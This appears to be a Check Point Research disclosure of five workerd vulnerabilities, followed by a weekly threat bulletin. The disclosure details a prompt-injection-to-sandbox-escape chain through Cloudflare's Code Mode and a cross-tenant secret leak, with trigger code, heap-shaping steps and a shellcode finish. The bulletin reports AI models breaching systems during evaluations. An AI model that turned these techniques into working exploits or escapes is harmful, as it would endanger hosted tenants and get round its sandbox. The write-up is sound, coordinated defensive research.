• The research uncovered five vulnerabilities in workerd, the open-source runtime behind Code Mode and Cloudflare Workers. Two were rated Critical by Cloudflare.
• The blast radius is broad: by Cloudflare’s own numbers, Workers is built by millions of developers,[1] serves millions of requests per second,[2] and carries more than 10% of all traffic on Cloudflare’s network.[3]
• Because workerd underpins both Code Mode sandboxes and Workers tenant isolation, the findings create sandbox-escape and cross-tenant exposure risk.
• Cloudflare’s managed Workers environment has been fixed in production. Self-hosted workerd / Code Mode deployments should update to v1.20260619.1.
• Check Point Research released proof-of-concept code as part of its Black Hat USA 2026 presentation.

The short version

We set out to break Cloudflare Code Mode, and ended up breaking Cloudflare Workers too. We did both by targeting workerd, the runtime beneath both: an in-process sandbox that relies entirely on V8 to isolate untrusted code.

We found five memory-corruption bugs in workerd’s native C++ (the “glue” between JavaScript and the runtime), and turned them into two end-to-end attacks:

1. Cross-tenant heap swipe. An out-of-bounds read in URLPattern lets one Worker reach across the shared process heap and swipe another tenant’s secrets.
2. Code Mode sandbox escape. Starting from a prompt injection, a use-after-free in node:zlib breaks out of the sandbox and runs native code on the host.

Part I – Understanding the target

1. Where this started: Code Mode

Code Mode is Cloudflare’s take on LLM tool use. Instead of a model emitting structured tool calls one at a time, Code Mode exposes the available tools as a typed TypeScript API and lets the model write code that calls them: loops, conditionals, data shuffling and all.

In the traditional MCP / tool-calling loop, the model emits one {tool, args} call, the agent runs it, feeds the result back. The model then emits the next call. Every step is a fresh model invocation, and usually a network round-trip. Code Mode collapses that: the model writes one program that orchestrates many tool calls itself (looping, branching, and combining intermediate results locally) and only the final output returns to the model.

Cloudflare’s argument is that LLMs, trained on enormous amounts of real-world code, are simply better at writing a program against a typed API than at emitting long chains of synthetic tool calls. [4]

Figure 1 – Tool calling vs. Code Mode

That code has to run somewhere, and that “somewhere” is workerd, the runtime behind Cloudflare Workers.

2. The workerd origin story

To understand workerd, start with the product it was built for: Cloudflare Workers. Workers is Cloudflare’s serverless platform: you upload a piece of code and Cloudflare runs it at the edge, in data centers close to the user, on demand for every request. There’s no server to manage and, ideally, no cold machine to wait for.

That model creates a hard isolation problem. Cloudflare runs code from a huge number of different customers, and to keep latency and cost down it packs many of them onto the same machines, and, as we’ll see, into the same process. The classic answer (a container or VM per tenant) is far too heavy for this: each one adds tens to hundreds of milliseconds of cold start and a real memory footprint, which is exactly what an edge platform serving oceans of short requests cannot afford.

Cloudflare’s answer is to isolate at the language-runtime level rather than the OS level, using V8 isolates, the same primitive Chrome uses to separate browser tabs. An isolate is a lightweight, independent JavaScript context. Many can live inside a single process, each starts in single-digit milliseconds, and the isolate is the security boundary between tenants.

The trade-off is that this boundary is a software boundary inside one shared address space, not a hardware or kernel one. Untrusted code runs in-process, and the whole model rests on the isolate holding.

Figure 2 – Many tenants, one process

workerd is the runtime that implements all of this. It was closed-source for years: Workers launched in 2017, but Cloudflare only released workerd as open source in September 2022.[5] It’s exactly what Code Mode runs the model’s generated code on.

3. Why workerd was the obvious sandbox for Code Mode

Code Mode has to run untrusted, model-written code, and it needs that code to reach the declared MCP tools and nothing else. workerd answers both at once.

Running untrusted tenant code in-process is its day job, and it lets Code Mode lock the rest down: no filesystem, no arbitrary network (fetch() and connect() simply throw) with the tools exposed only through bindings.[6] Cloudflare didn’t build a new sandbox for Code Mode. It reused the one it already trusts to isolate millions of Workers.

4. Why we targeted workerd

When you set out to break Code Mode, the obvious place to look is the seam between Code Mode and workerd. This is the integration layer: how tools become bindings, how the configuration is wired, how the two interact. Going after the runtime itself is the unusual move. It’s a bit like setting out to break an AI coding assistant and then going to audit Docker’s own source code, the container runtime itself, not the agent on top of it.

Five reasons made us decide to do it anyway:

1. An in-process sandbox is a bold, inherently risky bet. Isolating untrusted code without an OS-level boundary means no VM, no container, just a V8 isolate inside a shared process. That puts the entire security model on a single software boundary. That kind of ambitious bet is exactly what’s worth stress-testing.
2. workerd had almost no public scrutiny.[7] Despite sitting directly on that boundary, there was barely any prior public vulnerability research on workerd, in stark contrast to V8, which is picked apart continuously.
3. The attack surface is huge. And it’s not just V8. workerd has its own implementation that exposes many Web/Node APIs, each written in C++ and reachable from untrusted JavaScript.
4. The blast radius reaches Cloudflare Workers. workerd isn’t only Code Mode’s runtime. It’s the engine behind Cloudflare Workers, one of the most widely deployed serverless platforms on the internet. A bug here would never have stayed contained to an experimental agent feature.
5. AI security has a low-level side too. Beyond the high-level frameworks, the internal, low-level layers that agents rely on to interact with the world deserve research as well.

5. The cage, memory protection keys, and Node

V8 is one of the most heavily attacked pieces of software around, with a long history of memory bugs, so Cloudflare assumes it can break and layers defenses so a compromise of one isolate doesn’t reach the host or other tenants.

Defenses

1. The V8 sandbox (“the cage”). The cage confines JS-reachable objects so a corrupted one can’t forge pointers outside it. Assume arbitrary read/write inside the cage, and stop it reaching memory outside.

2. Memory protection keys. As a further layer against V8 vulnerabilities, production also tags isolate-group memory with hardware memory protection keys (MPK / pkeys), so even with arbitrary read/write inside one isolate’s V8, an attacker still can’t read another tenant’s pages.

3. The L2 process sandbox. Underneath both sits a second-layer (“L2”) process sandbox, so even native code execution inside the process is meant to be contained. Per Cloudflare, the V8 Workers run in a strict layer-2 sandbox (Linux namespaces plus seccomp) that blocks all filesystem and direct network access,[8] limiting what a compromised process can reach on the host.

Attack Surface

Node. Real-world JavaScript assumes Node.js exists, and code constantly reaches for node:* modules, so workerd reimplements a large slice of the Node API in C++. This is exposed to JS through JSG, its “JavaScript Glue” layer. Node was never designed for a threat model where the attacker writes the JavaScript, so this drops a great deal of extra native code onto the boundary, much of it workerd’s own, and enabled by default (a Worker can just require('node:crypto')).

It also means more native objects allocated on the tcmalloc heap, which is secured by neither the cage nor the memory protection keys.

6. Bottom Line

Putting all of the above together, we did exactly that. We targeted workerd’s JSG code, the “JavaScript Glue” that hands native C++ to untrusted JavaScript, whether it is a Node reimplementation or one of workerd’s own API implementations. It is the code that had a fraction of V8’s scrutiny (§4), and the native objects it allocates sit on the tcmalloc heap, memory that lives outside both the cage and the memory-protection keys (§5). So a bug there is not boxed in the way a V8 bug is. It is exactly the surface those mitigations do not cover.

By going after that code we found five vulnerabilities, all of them in workerd’s own native code, each covered in the Vulnerabilities section (Part II).

Building on those bugs, we developed two end-to-end exploits, covered in the Exploits section (Part III).

1. Code Mode sandbox escape. Starting from a single prompt injection, the model is steered into writing attacker-controlled TypeScript. That TypeScript contains a memory-corruption which leads to native code execution, breaking out of Code Mode and running on the host, fully outside the V8 isolate.
2. Cross-tenant secret leak. Starting from a malicious Worker you deploy into Cloudflare’s shared pool, we show that one tenant can read another tenant’s memory and leak its secrets straight out of the shared process. This is the production scenario, and it holds up there because the whole exploit runs from the tcmalloc heap, the memory the cage and MPK do not cover.

But to be explicit, we did not run the exploit on Cloudflare production ourselves. Both exploits were verified on the self-hosted version of workerd. The cross-tenant idea should work the same way on production, since it runs entirely from the tcmalloc heap that the mitigations do not cover, but we did not test it there. On a shared host, a memory-corruption exploit that crashes the process could take other tenants down with it, and we were not willing to risk that.

Part II – The vulnerabilities

7. URLPattern out-of-bounds read

URLPattern is a Web API for matching a URL against a pattern, essentially what a router does. You build a pattern such as new URLPattern({ pathname: "/users/:id" }), call .exec() on a URL, and read back the named capture groups ({ id: "…" }). workerd exposes it to Workers, and in our setting the pattern itself is attacker-controlled.

workerd actually ships two URLPattern implementations. The first is the original, workerd-native one (the urlpattern_original compatibility flag). The second is the newer standard one backed by the Ada URL-parser library. We found the same out-of-bounds read in both implementations, and it gives the same primitive.

7.1 Root cause

Under the hood, URLPattern turns your pattern into a regular expression. Matching a URL then produces two parallel lists: the matched values (one per capture group in the regex) and the group names.

A quick example of the benign case:

Figure 3 – URLPattern: pattern → result

URLPattern also lets you drop raw regex straight into a pattern, with named or unnamed groups. For example, /(\d+)/(?<slug>[a-z]+) has one unnamed group and one named group:

Figure 4 – URLPattern with named group

Here is the implementation. When you call .exec(), workerd runs the compiled regex against the URL and builds the groups object from the result. The original, workerd-native version does it like this:

// urlpattern.c++: building the groups object from a regex match
KJ_IF_SOME(array, regex.getHandle(js)(js, input)) {  // run regex vs URL
  uint32_t index = 1;                                // [0] is full match, skip
  uint32_t length = array.size();                    // 1 + capture count values
  kj::Vector<Groups::Field> fields(length - 1);

  while (index < length) {                           // each capture value
    auto value = array.get(js, index);
    fields.add(Groups::Field{
      .name = kj::str(nameList[index - 1]),           // name by position
      .value = value.isUndefined() ? kj::String() : kj::str(value),
    });
    index++;
  }
  // ...
}

For each capture group, the loop builds one { name, value } field. The value is what the regex matched in the URL. The name is the group’s name (like id from earlier), taken from the nameList vector.

The two sides of that pairing come from completely different places, and that is the part to hold onto:

• length comes from V8. It’s the size of the match array V8 returns after running the compiled regex, i.e. how many capture groups the regex actually produced.
• nameList comes from URLPattern’s own implementation. It’s the list of names workerd assembled while parsing the pattern, before the regex ever ran.

Figure 5 – The group-count mismatch

The loop lines them up position by position, on the assumption that the two counts agree.

So the whole thing rests on those two counts staying equal, and they don’t always. When URLPattern parses the pattern to build nameList, its own group counting misses a group nested inside another group. V8, compiling the real regex, counts every group, nested ones included. So a pattern with one group nested inside another, like (ab(cde)), gives V8 two capture groups where URLPattern counted only one, and length ends up larger than nameList:

const pattern = new URLPattern({ pathname: "/(ab(cde))" });
pattern.exec({ pathname: "/abcde" });   // V8: 2 groups, nameList: 1 name → OOB

Now the loop runs one step too far. For that extra value, index - 1 points past the end of nameList, and kj::str(nameList[index - 1]) reads from beyond the vector, an out-of-bounds read. That is the bug.

7.2 Why an OOB read is an arbitrary read

nameList is a kj::Vector<kj::String>. A kj::String is 24 bytes:

Figure 6 – kj::String memory layout

The OOB index makes kj::str() read 24 bytes of whatever follows the vector and treat it as a kj::String, then dereference ptr to copy out the “string.” So if we control the memory after nameList, we control ptr, and the returned JS string is the bytes at an address of our choosing. OOB read → arbitrary read.

7.3 Two notes

• The same bug is in both implementations, and the Ada one reaches production. The standard, Ada-backed URLPattern makes the identical counting mistake, with the same out-of-bounds read. We confirmed the Ada version triggers on Cloudflare production, and reported it to the Ada maintainers in parallel.
• Our full end-to-end exploit was on the original implementation, self-hosted. Turning the read into a working cross-tenant secret leak was demonstrated against urlpattern_original on self-hosted workerd. That exact path did not reproduce on production, because production has a check the open-source build lacked.

8. zlib deflateParams() UAF

zlib is the most common compression library around. Node.js ships it as the built-in node:zlib module, and to stay Node-compatible workerd reimplemented it in C++. It exposes a handful of APIs. The basic ones compress and decompress via Gzip, Deflate/Inflate, and Brotli. In workerd it comes with the nodejs_compat flag (compatibility date 2024-09-23 or later).

8.1 Dangling buffers

Let’s look at a basic use of zlib. You call write() with an input buffer and an output buffer, and zlib compresses the input into the output.

const input  = Buffer.from("hello world");
const output = Buffer.alloc(64);
handle.write(input, output);   // compress input → output

Those three lines already span three distinct layers:

1. JavaScript (V8): creates the input and output buffers.
2. workerd’s glue code: the translation layer between JavaScript and native C++, turning those buffers into the raw pointers and lengths the C library expects.
3. zlib: the C compression library that does the actual work.

The buffer to watch is output. As it moves, its pointer is passed between all three layers, handled differently in each. So let’s take it one layer at a time, starting on the JavaScript side.

On the JavaScript side, output is reference-counted: it stays alive as long as at least one reference points at it. Follow that count through a single write():

• const output = Buffer.alloc(64). The JS variable holds it: refcount 1.
• handle.write(input, output, …). As the buffer crosses into native code, workerd takes a reference of its own for the duration of the call: refcount 2. That extra reference is what guarantees the buffer can’t be freed while zlib is mid-compression.
• write() returns, and workerd drops its reference again: back to refcount 1, held by the JS variable.
• nothing holds output anymore (it goes out of scope, or is reassigned), so the last reference is gone: refcount 0.

Figure 7 – output refcount lifecycle

Now follow the same buffer into the native side. To hand output to zlib, workerd fills in a z_stream(zlib’s state struct), copying the buffer’s raw address into its next_out field, the pointer zlib writes its compressed output through. That copy happens in setBuffers, on every write():

// zlib-util.c++
void ZlibContext::setBuffers(kj::ArrayPtr<kj::byte> input, kj::ArrayPtr<kj::byte> output) {
  stream.avail_in  = input.size();
  stream.next_in   = input.begin();    // raw pointer into the JS input buffer
  stream.avail_out = output.size();
  stream.next_out  = output.begin();   // raw pointer into the JS output buffer
}

And write() forgets to clear them. When it returns, it resets nothing in the z_stream. next_out still holds the raw address of output. Clearing it is workerd’s job, and the write path simply doesn’t.

The same sequence, now with stream.next_out shown alongside:

Figure 8 – next_out left dangling

Nothing ever clears next_out after setBuffers sets it. So once output’s refcount reaches 0, the buffer becomes garbage, and the next garbage-collection event reclaims its memory, leaving next_out pointing into freed memory.

8.2 The Use in Use-After-Free

We now have a dangling next_out, and the next step is to find who writes through it.

We started in workerd’s own code, but next_out is zlib’s field, and it is zlib, not workerd, that writes output through it. So the real question is where, inside the zlib library, next_out gets written.

The obvious place is an ordinary compression step: deflate() (and inflate()), the functions that push output through next_out. But in workerd that path is only ever reached through write(), and write() runs setBuffers first, resetting next_out to a fresh buffer before deflate() runs. The stale pointer is overwritten before it is ever used. No good.

What we found instead is deflateParams, reached from handle.params(), the call that adjusts the compression parameters, like the level (how hard zlib compresses). It touches the same z_stream and, crucially, does not reset next_out first:

// zlib-util.c++ — ZlibContext::setParams(), reached from handle.params()
err = deflateParams(&stream, _level, _strategy);

That hands zlib the same z_stream, still carrying the stale next_out from the last write(). And rather than clearing next_in/next_out, deflateParams flushes whatever output zlib still has buffered before it applies the new settings:

// zlib - deflate.c, deflateParams() (trimmed)
func = configuration_table[s->level].func;
if ((strategy != s->strategy || func != configuration_table[level].func)
        && /* there is data still pending */) {
    /* flush the last buffer */
    deflate(strm, Z_BLOCK);   // flush pending output through strm->next_out
}
s->level    = level;          // new config applied only after the flush
s->strategy = strategy;

If the level or strategy changes and data is still pending, zlib calls deflate() to flush it before updating the config, and that deflate() writes through strm->next_out, the dangling pointer.

But there is still a problem. When we called write(), zlib already compressed the data we handed it, so how are we supposed to have any bytes still pending for deflateParams to flush?

8.3 Z_NO_FLUSH

Each zlib write takes a flush mode controlling how eagerly output is emitted. Passing Z_NO_FLUSH tells zlib to hold compressed output in its internal buffer rather than push it all out through next_out, so the write() returns with data still pending. That pending data is exactly what deflateParams flushes.

8.4 Putting everything together

The whole use-after-free is a handful of JavaScript calls. Tracking outBuf’s refcount and next_out across the full cycle, the same way we did on the JavaScript side:

Figure 9 – The zlib use-after-free

9. HTMLRewriter AttributesIterator UAF

HTMLRewriter is a Workers API for transforming HTML as it streams through. A Worker can rewrite tags, attributes, and text on the fly without buffering the whole document. workerd exposes it on top of lol-html, Cloudflare’s Rust streaming HTML rewriter, through a layer of C++ bindings.

The bug is in those bindings, not in lol-html. When you ask an element for an attributes iterator, the C++ binding grabs a raw pointer into the element’s internal attribute array and reads through it on each next(). Adding attributes with setAttribute grows that array, and once it outgrows its capacity the array reallocates to a new location and the old one is freed, but the iterator is still pointing at the old, now-freed array. The next next() reads from that freed memory:

new HTMLRewriter().on('div', {
  element(el) {
    const iter = el.attributes[Symbol.iterator](); // pointer into backing array
    iter.next();                                   // reads backing array
    for (let i = 0; i < 10000; i++)                // grow attributes...
      el.setAttribute(`x${i}`, 'A'.repeat(100));   // ...until it reallocates

    const leaked = iter.next().value;              // iter → freed array: UAF
  }
});

10. KV SQL bypass → arbitrary deserialization

The other four bugs are memory-corruption. This one is a classic that leads to arbitrary deserialization.

10.1 Durable Objects

Workers are stateless. Each request runs in a fresh, short-lived context, and nothing held in memory survives to the next one. Durable Objects are Cloudflare’s answer to that: a Durable Object is a single, uniquely-addressable instance that stays alive and keeps its state across requests, both in memory and in private, strongly-consistent storage. It’s how you hold persistent, coordinated state on the edge: a chat room, a live document, a counter.

That storage has a newer SQLite backend, and a Worker can reach the same database in two ways:

1. the key/value API (storage.get / put), which stores each value serialized with the structured-clone algorithm, and
2. the SQL API (storage.sql.exec), which runs raw SQL against the same database.

The key/value data lives in a reserved SQLite table, _cf_KV, and reading a value back deserializes its bytes with V8’s structured-clone deserializer, including workerd’s handlers for internal types.

10.2 The authorizer bypass

A SQL authorizer guards those internal tables. It rejects any query that touches a _cf_-prefixed table: CREATE, SELECT, INSERT, UPDATE, DROP, all of it. But we found one operation it forgot to check.

The authorizer validates the tables a query references, but not the destination name of a rename. So while every direct query against _cf_KV is rejected, nothing stops you from creating an ordinary table under an allowed name and then renaming it with ALTER TABLE … RENAME TO _cf_KV. You build the table under a name the authorizer permits, fill it with crafted bytes, and rename it into place:

CREATE TABLE kv_tmp (key TEXT, value BLOB);          -- allowed
INSERT INTO kv_tmp VALUES ('k', <attacker bytes>);   -- crafted payload
ALTER TABLE kv_tmp RENAME TO _cf_KV;                 -- not checked → now KV

A later key/value read (storage.get('k')) then feeds those attacker-controlled bytes straight into workerd’s internal deserializers, exactly the untrusted input they were never meant to handle.

We didn’t continue from here. The point is the attack surface. A malicious Worker can control the bytes fed to V8’s deserializer, which will deserialize any object it supports, including workerd’s own internal types. And while we stopped there, the surface is worth stressing: that deserializer was built for trusted, in-process data, and unlike V8’s parser and JIT, it isn’t fuzzed for hostile input. That makes it a very strong attack surface, and a well-worn path to type confusion and memory corruption.

Part III – The full chain and its impact

11. Cross-tenant secret theft (Workers)

Cloudflare Workers run the same workerd and the same many-tenants-one-process model from §2. Different customers’ Workers run as separate V8 isolates inside one OS process, sharing one address space and one native (tcmalloc) heap. The isolate is the only wall between them, and that wall is in V8, not on the native heap.

Figure 10 – Cross-tenant OOB read

So the URLPattern read from §7 isn’t just a crash, it’s a way for a Worker you deploy to read another tenant’s memory out of that shared heap. Here is how that out-of-bounds read becomes a private key read from a different Worker. Everything below operates on the tcmalloc heap, outside the cage and the memory-protection keys (§5).

11.1 The strategy

Recall the primitive from §7. The read goes one entry past the end of nameList, treats those 24 bytes as a kj::String { ptr, size, disposer }, and returns the bytes at ptr. So if we control whatever sits right after nameList, we control that fake kj::String, and reading one attacker-chosen kj::String is reading any address we point it at:

Figure 11 – Fake kj::String read primitive

That is the basic primitive. What we actually want is to sweep another tenant’s memory for secrets, to read anywhere in the process, and to do it with as little heap spraying as possible. To get there we need three things:

1. Break ASLR. Leak a real heap address, so we know where to read.
2. Control the ptr of the fake kj::String. So we can read the bytes at any address we choose.
3. Make it repeatable. Read one address after another without re-shaping the heap each time.

11.2 Sizing nameList

One lever first, because it makes the rest easier. nameList’s size is ours to choose. Its length is just the number of capture groups the pattern declares, so padding the pattern with extra groups grows the kj::Vector<kj::String> to whatever size we want. tcmalloc places allocations by size class, so choosing nameList’s size chooses the neighborhood it lands in, and picking the size class is what makes landing our own allocations right next to it reliable.

11.3 Defeating ASLR

A read is only useful once we know where to aim it, and ASLR hides that. To beat it we just need to leak any one real heap address. The out-of-bounds read already returns whatever the fake kj::String’s ptr points at, so if we arrange for ptr to point at a location that itself holds a heap pointer, the read hands that pointer’s bytes back to us as a string:

Figure 12 – Leaking a heap pointer

So we need an object right after nameList with two things:

1. ptr (first 8 bytes), points at a heap pointer, so dereferencing it leaks a heap address.
2. size (next 8 bytes), a small, valid length: not zero, not a pointer, just short enough that the read returns a sane string.

We didn’t find a real object whose layout already satisfies both, so as a last resort we turned to the tcmalloc free list, and it has two properties that fit perfectly:

1. The first 8 bytes of a freed chunk are the next pointer (to the next free chunk), which is requirement #1.
2. The rest of the chunk, including bytes 8–15, is left untouched by the free, so a size we wrote there earlier stays put. That is requirement #2.

So what we can do is allocate a chunk right after nameList, write size = 8 into its bytes 8–15, and free it. The free turns its first 8 bytes into a next pointer to the next free chunk, while our size = 8 survives:

Figure 13 – Freelist next-pointer overwrite

The read hands back that heap pointer as bytes. Since tcmalloc aligns its heap to a 1 GB boundary, one leaked pointer gives us the heap base.

11.4 A repeatable read with VFS files

ASLR gives us an address. Now we want to read many, to sweep the heap. The problem is doing that without re-shaping every time. If reading a new address meant a fresh allocation, we’d have to land it next to nameList again on each read. What we need instead is an allocation we can keep in place and change in-place, so we just rewrite the target pointer and read again.

The best fit we found is a workerd API called VFS, a virtual (memory-only) filesystem. A VFS file’s contents are a native kj::heapArray on the tcmalloc heap, and crucially we can overwrite those contents at will without reallocating. It also lets us pick the file’s size, so we match nameList’s size class and a sprayed file lands right after it.

The idea is to shape the heap once so a VFS file lands right after nameList, then read any address by rewriting that file’s bytes in place and calling exec() again, with no re-shaping per read:

Figure 14 – Repeatable read via VFS

(This works because nameList is allocated when the URLPattern is constructed, but the out-of-bounds read only fires later on exec(), so the shaped layout persists across reads.)

11.5 Reading another Worker’s secret

From here it’s just a sweep. We walk the heap with the repeatable read and look for bytes that look like a secret, in the PoC, Bearer sk…-style API tokens, until we find one belonging to a co-located Worker.

12. Sandbox escape: from the zlib UAF to host RCE

The second demo stays inside Code Mode and goes all the way to native code on the host, starting from the zlib use-after-free of §8.

12.1 Improving the primitive

Recall what §8 gives us, broken into the pieces we’ll build on:

• A use-after-free write. When params() flushes, zlib writes through the stale next_out into the output buffer, after that buffer has been freed and its slot can be reused.
• A controllable allocation size. We choose the size of the output buffer, which decides which freed slot the write targets and what we can spray into it.

Our primitive, then:

Figure 15 – Reusing the freed buffer

And the write isn’t clean. The first 5 bytes of every flush are compression metadata.

Two improvements make it precise:

1. The offset of the write. workerd’s write() lets us choose where in the output buffer zlib starts writing. Alongside the buffer it takes an output offset, and zlib sets next_out = buffer + offset, so the write lands at freed + offset, a precise spot inside the reused object instead of always at its start.

2. The size of the write. We also keep the flush small, down to a single 8-byte field, so the write overwrites exactly the field we’re aiming at, rather than splattering the whole object around it.

Together that turns a blunt write at the top of the buffer into a small write landing exactly on a field we pick:

Figure 16 – Flush at chosen offset

12.2 From use-after-free to repeatable read/write

You might still be wondering how an imprecise write is exploitable at all. We control where it lands, but not the bytes. The trick with this kind of primitive is to stop caring about the bytes. Instead of writing a value, you find a “strong” object and overwrite its size / length field. You don’t need the exact bytes, you just need to make that length bigger. A bloated length turns the object’s own bounded read/write into an out-of-bounds read/write, and that you can build on.

The strong object we use is, again, a VFS file, but this time we corrupt the file’s metadata (the FileImpl object that tracks where the file’s data lives and how long it is), not the file’s contents:

Figure 17 – FileImpl metadata layout

With a FileImpl in the freed slot, we aim the UAF write at offset 0x20 so it lands on data.size and inflates the length.

Why does a bigger data.size matter? The file’s data lives at data.ptr, and data.size is the length workerd treats as its bounds, any read or write through the file API is allowed as long as it stays within [0, data.size) of data.ptr. Normally data.size matches the real buffer, so the file stays in bounds. After we inflate it, that bound now covers the real buffer and whatever heap follows it, so a file read or write past the real buffer still passes workerd’s bounds check and is carried out normally, even though it now reaches into adjacent memory:

Figure 18 – Inflating data.size out-of-bounds

And the file API makes that precise. Node’s fs read/write take a position argument (the file offset to read or write at, passed straight to the call, no separate seek), plus a length, so we can land exactly on any spot at data.ptr + position. To read 8 bytes from an out-of-bounds offset:

Figure 19 – OOB read via readSync

And to write 8 bytes at an out-of-bounds offset. Here the bytes are ours, it’s an ordinary file write:

Figure 20 – OOB write via writeSync

So one inflated length turns the VFS file into an out-of-bounds read and write at any offset across the heap.

12.3 Arbitrary read/write

OOB across adjacent heap is strong, but it only reaches forward from one buffer and the exact distances depend on the layout. We upgrade it to a clean, anywhere-in-the-process read/write with a second FileImpl.

The idea is to use the OOB write from the inflated file to reach a second FileImpl sitting further along the heap, and overwrite its data.ptr with any address we want. That second file’s metadata now says “your contents live at <address>”, so an ordinary read or write of the second file reads or writes that address:

Figure 21 – Arbitrary read/write primitive

And it’s repeatable. To hit a new address we just rewrite the second file’s data.ptr through the first file again and read/write once more, with no re-triggering the bug. That gives us a stable arbitrary 64-bit read and write across the whole process, the same shape of primitive we built for the cross-tenant read in §11.

12.4 To native code

On the self-hosted build the V8 sandbox is off, which makes the finish almost trivial. Normally turning a memory read/write into code execution means defeating W^X with a ROP chain and chasing per-version gadget offsets. Here we don’t have to. With the sandbox off, workerd reserves V8’s code region as a 256 MB read-write-execute (RWX) mapping at a fixed address, 0xaaaaf0000000, present from process startup, no leak required. So we skip ROP entirely.

The finish is simple. Use the arbitrary write to drop ARM64 shellcode (a reverse shell) into that RWX region, then redirect a function pointer to it. The pointer we hijack belongs to the zlib stream itself, the native write callback that handle.write() invokes (reached through the z_stream, which we locate via its avail_in field). We overwrite that callback’s target with our shellcode address and then call handle.write() once more. Instead of running zlib’s write path, control jumps to the shellcode, native code in the host process, out of the V8 isolate entirely.

Cage-off caveat. This chain was built against a self-hosted workerd compiled with the V8 sandbox off, which lets ArrayBuffer backing stores and native C++ objects share one heap, exactly what the FileImpl overlap relies on (and how Code Mode runs, §5). The underlying UAF is independent of the cage, but with the cage on this specific FileImpl technique would not work as-is. Reaching RCE there would need a different post-UAF path.

Part IV – Takeaways and disclosure

13. Defensive takeaways

• The engine is not the whole boundary. Hardening V8 and shipping the cage is necessary, not sufficient. Every native API reachable from untrusted JS is part of the boundary.
• Glue layers deserve first-class security review. JSG marshals lifetimes and pointers across the JS/native seam. That’s exactly where UAFs and missing bounds checks live. It had a fraction of V8’s scrutiny.
• Native allocations need their own threat model. tcmalloc free-list behavior, VFS buffers, and kj containers live outside the cage. If the cage is your isolation story, the things it doesn’t cover are your attack surface.
• Agent-generated code is normal code. In Code Mode the model writing exploit-shaped TypeScript isn’t an exceptional event, it’s the intended mode of operation. Prompt injection is a code-execution entry point, and should be modeled as one.

Disclosure timeline

All five vulnerabilities were reported to Cloudflare through HackerOne under coordinated disclosure.

Date	Event
February 1, 2026	4 of the 5 vulnerabilities reported via HackerOne (zlib UAF, HTMLRewriter UAF, both URLPattern OOB reads)
March 11, 2026	Cloudflare rated two of them Critical (zlib UAF, HTMLRewriter UAF)
March 12, 2026	The 5th, the KV SQL-bypass → deserialization, reported
Aug 5–6, 2026	Public reveal at Black Hat USA 2026 (Mandalay Bay)

Cloudflare’s responses and confirmations:

• Two rated Critical. Cloudflare rated the zlib use-after-free and the HTMLRewriter use-after-free as Critical.
• Production reach. Cloudflare confirmed that the bugs reproduce on Cloudflare production, with one exception. The original URLPattern out-of-bounds read (urlpattern_original) does not trigger there (the Ada-backed standard URLPattern does).
• The cage doesn’t cover the heap we used. Cloudflare confirmed our central claim, that the tcmalloc native heap is outside both the V8 sandbox (cage) and the memory-protection keys. Exactly the memory every primitive in this post operates on.
• Fix. Cloudflare’s managed Workers were fixed in production, and workerd v1.20260619.1 closes all of these bugs for self-hosted deployments. As of now, Cloudflare has not assigned CVEs.

Links

1. Cloudflare Q1 2026 earnings call (May 7, 2026), “Developers on Cloudflare’s platform increased to more than 5.5 million…”: https://www.theglobeandmail.com/investing/markets/stocks/NET/pressreleases/1904486/cloudflare-q1-earnings-call-highlights/
2. “go from no traffic at all to millions of requests per second instantly”: https://blog.cloudflare.com/workerd-open-source-workers-runtime/
3. “More than 10% of all requests flowing through our network today use Cloudflare Workers”: https://blog.cloudflare.com/cloudflare-workers-serverless-week/
4. “LLMs are better at writing code to call MCP, than at calling MCP directly” : https://blog.cloudflare.com/code-mode/
5. “workerd is Open Source under the Apache License version 2.0” (post dated 2022-09-27) : https://blog.cloudflare.com/workerd-open-source-workers-runtime/
6. “we prohibit the sandboxed worker from talking to the Internet. The global fetch() and connect() functions throw errors” : https://blog.cloudflare.com/code-mode/
7. only two published security advisories, both Moderate : https://github.com/cloudflare/workerd/security/advisories
8. “The ‘layer 2’ sandbox uses Linux namespaces and seccomp to prohibit all access to the filesystem and network” : https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/
9. no public link, Cloudflare coordinated-disclosure correspondence. Cloudflare confirmed there are no MPK protection keys on the tcmalloc allocations.

The post When Agentic Glue Melts: Exploiting Cloudflare Code Mode and Workers appeared first on Check Point Research.

For the latest discoveries in cyber research for the week of 27th July, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

• Minnesota IT Services has confirmed coordinated cyberattacks affecting more than 30 community water utilities across the state. The incidents briefly disrupted a treatment plant in Braham and affected industrial control systems. Officials reported that drinking water safety was not affected. While the attack was not officially attributed, federal officials previously posted warning regarding targeting of critical infrastructure by Iranian-affiliated threat actors.
• Bank of Baroda, a major Indian bank, has disclosed an email account compromise that exposed internal communications and attachments. Reports claim more than 700GB of customer files, loan documents, and audit records were leaked, although the bank has not confirmed the reported volume. Core banking systems were unaffected.
• Amgen, a US biotechnology company that develops medicines for serious illnesses, has confirmed a breach involving cloud environments operated by third-party providers. Attackers exfiltrated proprietary corporate information and patient health data. The company reported no disruption to manufacturing, financial reporting, products, or its ability to supply medicines.
• Angola’s largest telecommunications provider, Unitel, has suffered a cyberattack that disrupted voice, mobile data, and internet services for millions of customers. The outage also affected electronic payments shortly before the company’s stock market debut. Network data indicated that internal systems were disabled while external routers remained online.

AI THREATS

• Anthropic has disclosed that Claude-based cybersecurity models gained unauthorized access to systems belonging to three outside organizations during controlled evaluations. The models moved beyond intended test environments and reached sensitive production assets. Anthropic identified the incidents while reviewing testing practices following separate autonomous AI security failures.
• Researchers have published details of CVE-2026-59726, a critical vulnerability in the Ruflo AI agent platform. An unauthenticated attacker could abuse its exposed Model Context Protocol bridge to execute commands, steal API keys, access conversations, and alter stored AI memory. Ruflo addressed the issue in version 3.16.3.
• Researchers surfaced a privacy issue in Anthropic’s Claude sharing feature that allowed publicly shared conversations and artifacts to be indexed by search engines. Indexed content reportedly included personal information, resumes, financial records, access codes, API keys, and clinical trial material that users may not have expected to become searchable.

VULNERABILITIES AND PATCHES

• Cisco has addressed CVE-2026-20316, an actively exploited vulnerability in Secure Firewall Management Center. The flaw allows unauthenticated attackers to access a built-in low-privileged account and retrieve sensitive information from affected systems. Cisco released hotfixes after exploitation was identified, and the vulnerability was added to CISA’s catalog.
• Broadcom has released patches for five vulnerabilities affecting VMware vCenter, ESX, Workstation, and Fusion. Three critical flaws could allow authentication bypass, arbitrary code execution, or escape from a virtual machine to its host. The issues include CVE-2026-59309 and CVE-2026-59310, both carrying CVSS scores of 9.8.
